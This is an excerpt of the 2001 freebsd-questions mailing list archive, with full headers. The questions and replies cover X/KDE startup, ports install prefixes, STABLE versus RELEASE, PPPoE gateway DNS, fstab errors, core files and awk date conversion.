Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 23 Nov 2001 19:28:03 -0800 Received: from 203.168.20.84 by lw11fd.law11.hotmail.msn.com with HTTP; Sat, 24 Nov 2001 03:28:03 GMT X-Originating-IP: [203.168.20.84] From: "midrash midrash" To: freebsd-questions@freebsd.org Subject: X server Date: Fri, 23 Nov 2001 19:28:03 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 24 Nov 2001 03:28:03.0952 (UTC) FILETIME=[06B5E700:01C17498] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG when i start my x server with Xwrapper as user it does not load kde. i tried xdm but it always loops back on the login. i read man pages and it said i only need a valid .xsesion. i already have a ~/.xsession and ~/.xinitrc which both contain only exec startkde but still nothing happened.is there anything else i can do? _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 19:44:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mobil.cz (diana.mobil.cz [195.39.16.12]) by hub.freebsd.org (Postfix) with ESMTP id B211637B416 for ; Fri, 23 Nov 2001 19:44:19 -0800 (PST) Received: from ester.mobil.cz (ester.mobil.cz [194.213.62.23]) by mobil.cz (8.11.6/8.11.0) with ESMTP id fAO3iHp04562 for ; Sat, 24 Nov 2001 04:44:18 +0100 Received: from roman.mobil.cz ([10.2.0.89]) by ester.mobil.cz (Lotus Domino Release 5.0.7) with ESMTP id 2001112404395752:1954 ; Sat, 24 Nov 2001 04:39:57 +0100 Received: (from roman@localhost) by roman.mobil.cz (8.11.6/8.11.6) id fAO3oHY50058 for questions@freebsd.org; Sat, 24 Nov 2001 04:50:17 +0100 (CET) (envelope-from neuhauser@mobil.cz) X-Authentication-Warning: roman.mobil.cz: roman set sender to neuhauser@mobil.cz using -f Date: Sat, 24 Nov 2001 04:50:16 +0100 From: Roman Neuhauser To: questions@freebsd.org Subject: Re: /usr/ports question Message-ID: <20011124045016.K26507@roman.mobil.cz> Mail-Followup-To: questions@freebsd.org References: <122552244@toto.iv> <15358.62639.120617.643049@guru.mired.org> Mime-Version: 1.0 In-Reply-To: <15358.62639.120617.643049@guru.mired.org> User-Agent: Mutt/1.3.23i X-MIMETrack: Itemize by SMTP Server on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/24/2001 04:39:57 AM, Serialize by Router on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/24/2001 04:40:03 AM, Serialize complete at 11/24/2001 04:40:03 AM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: Mike Meyer > Date: Fri, 23 Nov 2001 19:15:27 -0600 > To: Roman Neuhauser > CC: questions@freebsd.org > Subject: Re: /usr/ports question > > Roman Neuhauser types: > > > From: Mike Meyer > > > Bara Zani types: > > > > Hi , > > > > I want to change the default install options of a certain port , how > > > > can i do that ? > > > If you're talking about location, use PREFIX. That's the top of the > > > tree for installs, so binariexz go in $PREFIX/bin, man pages in > > > $PREFIX/man, and so on. However, changing the PREFIX for just one > > > port isn't very safe - you really should make them *all* install with > > > the same PREFIX, which you do by setting LOCALBASE in > > > /etc/make.conf. Even then, some ports will break for one reason or > > > another because they don't handle the change properly. > > This has always made me wonder: the install prefix of every port is > > recorded in /var/db/pkg//+CONTENTS. Why isn't this > > information used? > > It is used - how do you think pkg_delte finds the files to delete. > > If there's some other use you meant, you should say what it is. > > ; Fri, 23 Nov 2001 19:50:37 -0800 (PST) Received: from P5 (P5.mpionline.com [209.115.240.246]) by P7.mpionline.com (8.11.3/8.11.3) with SMTP id fAO3rrJ01814 for ; Fri, 23 Nov 2001 20:53:54 -0700 (MST) (envelope-from tomek@mpionline.com) Message-ID: <01d201c1749b$5cdc9f40$f6f073d1@mpionline.com> From: "Tomek" To: Subject: Best Version? Stable/Release/? Date: Fri, 23 Nov 2001 20:51:56 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.3018.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello there, From my understanding, the stable version is more stable tahn the release version and is the safest bet for important servers, I just want to verify if this is correct. Thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 19:53:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from satan.dyn.reject.org (cc681997-a.frmnt1.pa.home.com [65.9.107.112]) by hub.freebsd.org (Postfix) with SMTP id 077D237B417 for ; Fri, 23 Nov 2001 19:53:41 -0800 (PST) Received: (qmail 28571 invoked from network); 24 Nov 2001 03:53:40 -0000 Received: from unknown (HELO cerberus) (lint@192.168.1.2) by 192.168.1.1 with SMTP; 24 Nov 2001 03:53:40 -0000 Date: Fri, 23 Nov 2001 22:53:39 -0500 (EST) From: EigenLint X-Sender: To: Subject: USB hard disks that are umass compliant? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG does anyone know of makes/models of USB hard disk that will show up as umass device (and thus actually be useful...)? so far from what i can tell, it seems that most every USB hard disk you can buy will show up as ugen, which is really not at all useful. cc: me with any replies, please, as i'm not subbed to the list... vielen Dank, EigenLint To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 20:12:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id E18D737B416 for ; Fri, 23 Nov 2001 20:12:05 -0800 (PST) Received: from cc191573g (kutulu@cc191573-g.longhill1.md.home.com [24.37.104.136]) by pr0n.kutulu.org (8.11.6/8.11.6) with SMTP id fAO4CGU63359; Fri, 23 Nov 2001 23:12:16 -0500 (EST) (envelope-from kutulu@kutulu.org) Message-ID: <00f501c1749d$49550280$88682518@longhill1.md.home.com> From: "Kutulu" To: "Tomek" , References: <01d201c1749b$5cdc9f40$f6f073d1@mpionline.com> Subject: Re: Best Version? Stable/Release/? Date: Fri, 23 Nov 2001 23:05:42 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 x-mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG From: "Tomek" To: Sent: Friday, November 23, 2001 10:51 PM Subject: Best Version? Stable/Release/? > Hello there, > From my understanding, the stable version is more stable tahn the > release version and is the safest bet for important servers, I just want > to verify if this is correct. Technically, the "stable" version is likely to be less stable than a "release" version, though in practice they are both pretty solid. Read the first few questions on: http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/introduction.html for the details. The basic idea is, changes get made to the "current" version, and tested extensively. The really important or useful ones will often get added into the "stable" version once they are generally thought to be bug free. Every so often, the "stable" version is judged to be solid enough for it's current state to be sent out as a new "release" version, and that's what you get when you buy CD's etc. For truly mission critical servers, you probably want to go with the latest release version. However, if you are careful with when/what you update and recompile, you should be fine using the latest stable version, and in particular, there have been quite a few useful changes since 4.4-RELEASE. --K To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 20:40:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f190.law11.hotmail.com [64.4.17.190]) by hub.freebsd.org (Postfix) with ESMTP id 0BCB237B405 for ; Fri, 23 Nov 2001 20:40:43 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 23 Nov 2001 20:40:42 -0800 Received: from 203.168.20.221 by lw11fd.law11.hotmail.msn.com with HTTP; Sat, 24 Nov 2001 04:40:42 GMT X-Originating-IP: [203.168.20.221] From: "midrash midrash" To: freebsd-questions@freebsd.org Subject: Xserver Date: Fri, 23 Nov 2001 20:40:42 -0800 Mime-Version: 1.0 Content-Type: multipart/mixed; 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hub.freebsd.org (Postfix) with ESMTP id A5B1137B416 for ; Fri, 23 Nov 2001 21:21:50 -0800 (PST) Received: from SAGEONE (adsl-64-219-21-130.dsl.crchtx.swbell.net [64.219.21.130]) by sage-american.com (8.9.3/8.9.3) with SMTP id XAA18539 for ; Fri, 23 Nov 2001 23:21:42 -0600 (CST) Message-Id: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Fri, 23 Nov 2001 23:21:54 -0600 To: freebsd-questions@freebsd.org From: jacks@sage-american.com Subject: PPPoE on DSL Clients Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well.... finally got PPPoE on DSL working just fine on a FreeBSD server. Only one problem left to solve and hope for a little more help. The BSD server/gateway (dynamic IP) can ping out and resolves addresses without any problem, BUT, none of the client workstations can find anything on the Internet. So, no browsing, email, ftp, etc. All stations can ping each other. The clients can reach the Internet address (get email, FTP, browse, etc) IF, it is put into the "etc/hosts" file, whether it is Win2K or other BSD boxes.... each client points to the default 192.168.0.1 INTERNAL IP assigned to the gateway box running the DSL. The resolv.conf file for the DSL box has the proper nameservers for the ISP. DNS is enabled in ppp.conf. NAT and gateway is enabled in rc.conf. If my config files will help, let me know.... BTW, this email is going out from a client, but I have my mail server IP in the /etc/host. Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 21:32: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 7D8D537B405 for ; Fri, 23 Nov 2001 21:31:56 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 0C45E66BD5; Fri, 23 Nov 2001 21:31:56 -0800 (PST) Date: Fri, 23 Nov 2001 21:31:55 -0800 From: Kris Kennaway To: Wayne Lubin Cc: freebsd Subject: Re: /dev/dsp busy problem Message-ID: <20011123213155.A16535@xor.obsecurity.org> References: <20011123223541.23729.qmail@web14702.mail.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ibTvN161/egqYuK8" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011123223541.23729.qmail@web14702.mail.yahoo.com>; from wayneclubin@yahoo.com on Fri, Nov 23, 2001 at 02:35:41PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --ibTvN161/egqYuK8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 23, 2001 at 02:35:41PM -0800, Wayne Lubin wrote: > Hi, >=20 > The problem I am having is that half the time I boot > up my sound works fine, and the other half I get the > error that the /dev/dsp device is busy. That would be because something is already using the sound device. Kris --ibTvN161/egqYuK8 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/zDLWry0BWjoQKURAj16AJ4s3j0gqmEzOJqWuoaDHY3BlymNNACgqGia AlijuUyPVvzlFWKhz11R0MM= =8s2Q -----END PGP SIGNATURE----- --ibTvN161/egqYuK8-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 21:33:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id BAA1F37B416 for ; Fri, 23 Nov 2001 21:33:10 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 6A13E66B27; Fri, 23 Nov 2001 21:33:10 -0800 (PST) Date: Fri, 23 Nov 2001 21:33:10 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Disabling IPv6 support for now Message-ID: <20011123213310.B16535@xor.obsecurity.org> References: <05d301c17478$0a774250$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Y7xTucakfITjPcLV" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <05d301c17478$0a774250$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Sat, Nov 24, 2001 at 12:39:05AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Y7xTucakfITjPcLV Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, Nov 24, 2001 at 12:39:05AM +0100, Anthony Atkielski wrote: > How much of the IPv6 stuff can I comment out in my configuration if I don't > currently have a need for IPv6? As much as you want :) > Does having it increase overhead? No. > Also, what is this "faith" interface I see? man faith Kris --Y7xTucakfITjPcLV Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/zEVWry0BWjoQKURAmQ4AJ97XCTGn5Q8LKw1wNx+J2xItgDeZQCeJeor e5UpEN2UJiD9TBbn+vjr1+E= =a0xI -----END PGP SIGNATURE----- --Y7xTucakfITjPcLV-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 21:34: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 2640D37B405 for ; Fri, 23 Nov 2001 21:33:58 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id BF82B66B27; Fri, 23 Nov 2001 21:33:57 -0800 (PST) Date: Fri, 23 Nov 2001 21:33:57 -0800 From: Kris Kennaway To: Chip Cc: freebsd-questions@FreeBSD.ORG Subject: Re: error in fstab? where? Message-ID: <20011123213357.C16535@xor.obsecurity.org> References: <01112316001302.76143@chip.wiegand.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="w7PDEPdKQumQfZlR" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <01112316001302.76143@chip.wiegand.org>; from chip@wiegand.org on Fri, Nov 23, 2001 at 04:00:13PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --w7PDEPdKQumQfZlR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 23, 2001 at 04:00:13PM -0800, Chip wrote: > when I mount my cd drive I get the following error: >=20 > chip# mount /cdrom > fstab: /etc/fstab:1: Inappropriate file type or format >=20 > yet it does get mounted: >=20 > chip# mount=20 > /dev/ad0s1a on / (ufs, local) > /dev/ad0s1e on /usr (ufs, NFS exported, local) > /dev/ad1s1 on /usr2 (ufs, local) > procfs on /proc (procfs, local) > 192.168.1.14:/usr on /usr2/apache (nfs) > /dev/acd0a on /cdrom (cd9660, local, read-only) >=20 > Here's my fstab: >=20 > chip# cat fstab > Device Mountpoint FStype Options Dump P= ass# This isn't a valid fstab entry :-) Kris --w7PDEPdKQumQfZlR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/zE8Wry0BWjoQKURAiRIAKCqCz9SBBVndQQ+YF3LiHzBL1jboQCg+ikj GI+gE8TpUa9hDEMXDlOuPj8= =b5KD -----END PGP SIGNATURE----- --w7PDEPdKQumQfZlR-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 21:54: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52]) by hub.freebsd.org (Postfix) with ESMTP id 4E11837B417 for ; Fri, 23 Nov 2001 21:53:56 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail5.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 21:37:19 -0500 Message-Id: <5.1.0.14.0.20011123215946.030efc90@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 22:01:18 -0500 To: Steve Brown From: Jim Conner Subject: Re: .CORE files Cc: questions@freebsd.org In-Reply-To: <20011123191325.A574@prayforwind.com> References: <5.1.0.14.0.20011123185020.030944e0@mail.enterit.com> <20011123182901.A529@prayforwind.com> <5.1.0.14.0.20011123185020.030944e0@mail.enterit.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 19:13 11.23.2001 -0500, Steve Brown wrote: >Hi Jim, that was quick, thanks! > >I got a gcore, a RAY.score, a savecore; no valid .core files >and I tried it in uppercase too. I guess I must have a very >well administered system ;) (I installed it fresh 2 weeks ago >so I'm not surprised I've not mucked it up yet) I have seen this happen before but wasn't quite sure *why* it happened e.g. the program I was in said it core dumped yet there was no core file. Check your ulimit to see if core files are set to unlimited sizes or 0 size. That's the only thing I can think. I am not sure if the program will still say that it core dumped if the ulimit (-c) is set to 0 or not. >Thanks again, >Cheers, Steve > >On Fri, Nov 23, 2001 at 06:55:03PM -0500, Jim Conner wrote: > > At 18:29 11.23.2001 -0500, Steve Brown wrote: > > >Hello there, > > > > > > >From time to time Netscape bonks out and when I leave X > > >I find the message "Netscape blah blah core dumped" > > >Sometimes I can find a .CORE file, other times I don't > > >know where to look. So I have 2 questions: > > > > > >- How can I find -ALL- *CORE files, is there an equivalent > > > of the old MS DOS "dir /s" ? > > >- Why does it "dump core"? Am I supposed to do something > > > with the resulting file? > > > > 1. find / -name "*core" -type f -ls > > Be careful about cores that you find. Only remove those that are actually > > core files. You can use the command: > > > > file corename > > > > That should tell you if the file is a real core file or not since there > are > > other files on the system (or directories which you shouldn't see with my > > find command stated above) that are called core. > > > > 2. Netscape cores on probably everybody's machine at some time or > > another. It is usually the result of poor coding (on Netscape's part) and > > sometimes its the result of a poorly admin'ed system. In your case, I > > would bet its netscapes code since I know a ton of people that get this > > problem. It could also be a poorly set up Netscape that could cause > > cores. Usually, the best thing to do is to remove the core file since its > > really not needed for your sake. OR, you could send the core dumps to > > Netscape so that they can examine why the core happened which is the > > purpose of core dumps anyway. A core file is a physical readout of the > > memory that netscape was using at the time it core'd. > > > > - Jim > > > > >Appreciate any advice, or hints as to where to RTFM. > > > > > >Thanks in advance, > > >Steve > > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > > >with "unsubscribe freebsd-questions" in the body of the message > > > > > > > > - Jim > > > > -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- > > http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 > > > > -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ > > Version: 0.01 Version: 3.12 > > P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- > > >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ > > $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ > L+++(++++)>+++++$ !E* > > +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- > PS---(-)@ PE > > >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- > X++ R@ > > >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) > > ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 22: 9:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id C443037B417 for ; Fri, 23 Nov 2001 22:09:45 -0800 (PST) Received: from [212.238.77.116] (helo=buffy.raggedclown.net) by post.mail.nl.demon.net with esmtp (Exim 3.33 #1) id 167W0W-000Eic-00 for questions@freebsd.org; Sat, 24 Nov 2001 06:09:44 +0000 Received: by tanya.raggedclown.net (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 3C826110B; Sat, 24 Nov 2001 00:52:55 +0100 (CET) Date: Sat, 24 Nov 2001 00:52:55 +0100 From: Cliff Sarginson To: questions@freebsd.org Subject: Re: .CORE files Message-ID: <20011124005255.A1087@raggedclown.net> References: <20011123182901.A529@prayforwind.com> <5.1.0.14.0.20011123185020.030944e0@mail.enterit.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.1.0.14.0.20011123185020.030944e0@mail.enterit.com> User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 23, 2001 at 06:55:03PM -0500, Jim Conner wrote: > At 18:29 11.23.2001 -0500, Steve Brown wrote: > 2. Netscape cores on probably everybody's machine at some time or > another. It is usually the result of poor coding (on Netscape's part) and > sometimes its the result of a poorly admin'ed system. In your case, I > would bet its netscapes code since I know a ton of people that get this > problem. It could also be a poorly set up Netscape that could cause > cores. Usually, the best thing to do is to remove the core file since its > really not needed for your sake. OR, you could send the core dumps to > Netscape so that they can examine why the core happened which is the > purpose of core dumps anyway. A core file is a physical readout of the > memory that netscape was using at the time it core'd. > Nah, don't be whimp, debug netscape .. lol..it is only about 10,000,000 lines of code. Netscape core dumps, hangs in strange ways, or just disappears on every platform I have used it on. I think it just gets tired; or more likely it's internal memory management is caboosh. -- Regards Cliff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 22:31:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dc-mx04.cluster1.charter.net (dc-mx04.cluster0.hsacorp.net [209.225.8.14]) by hub.freebsd.org (Postfix) with ESMTP id 2AFA937B416 for ; Fri, 23 Nov 2001 22:31:25 -0800 (PST) Received: from [24.158.214.244] (HELO gforce.johnson.home) by dc-mx04.cluster1.charter.net (CommuniGate Pro SMTP 3.4.6) with ESMTP-TLS id 53212550 for questions@freebsd.org; Sat, 24 Nov 2001 01:37:41 -0500 Received: (from glenn@localhost) by gforce.johnson.home (8.11.6/8.11.6) id fAO6VMY02867 for questions@freebsd.org; Sat, 24 Nov 2001 00:31:22 -0600 (CST) (envelope-from glenn) From: Glenn Johnson Date: Sat, 24 Nov 2001 00:31:22 -0600 To: questions@freebsd.org Subject: date conversion in awk Message-ID: <20011124063122.GA2811@gforce.johnson.home> Mail-Followup-To: glenn@FreeBSD.ORG, questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a set of files that have, as part of their content, dates in the following format: 23-Nov-01 I need to convert the format to: 11/23/2001 I know how to do the conversion with the date command for a single value but I can not quite figure out how to parse through the file with awk to change the format. What I have come up with so far is to extract the date field from the file and save those values in a variable. I then loop over the contents of the variable, do the conversion, and write them out to a file. I then run awk on the original file to get whatever else I need and then paste the results of this and the dates file into another file using the paste command. This works but it seems that I should be able to do the date conversion while in awk without having to write the converted dates out to an intermediate file. Any help appreciated. Thanks. -- Glenn Johnson glennpj@charter.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 22:41:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by hub.freebsd.org (Postfix) with ESMTP id 1D9C337B41A for ; Fri, 23 Nov 2001 22:41:47 -0800 (PST) Received: from trine (213-187-161-49.dd.nextgentel.com [213.187.161.49]) by mail.broadpark.no (Postfix) with ESMTP id A93B980F7 for ; Sat, 24 Nov 2001 07:41:40 +0100 (MET) From: "Kjell" To: freebsd-questions@freebsd.org Date: Sat, 24 Nov 2001 06:47:46 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Any programs for IP telephony? Reply-To: kjell@la3sg.net Message-ID: <3BFF4292.20775.F0EC0@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG List members! In the Windows world there are several programs that may be used for voice communication between computers on your local network or over the internet. Any such programs available in the FreeBSD or Linux world? Regards from Kjell (LA3SG) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 22:44:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id 19B1137B416 for ; Fri, 23 Nov 2001 22:44:52 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAO6iig38752; Fri, 23 Nov 2001 22:44:45 -0800 (PST) (envelope-from jan@caustic.org) Date: Fri, 23 Nov 2001 22:44:44 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: Cc: Subject: Re: PPPoE on DSL Clients In-Reply-To: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> Message-ID: <20011123224349.C16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 23 Nov 2001 jacks@sage-american.com wrote: > The BSD server/gateway (dynamic IP) can ping out and resolves addresses > without any problem, 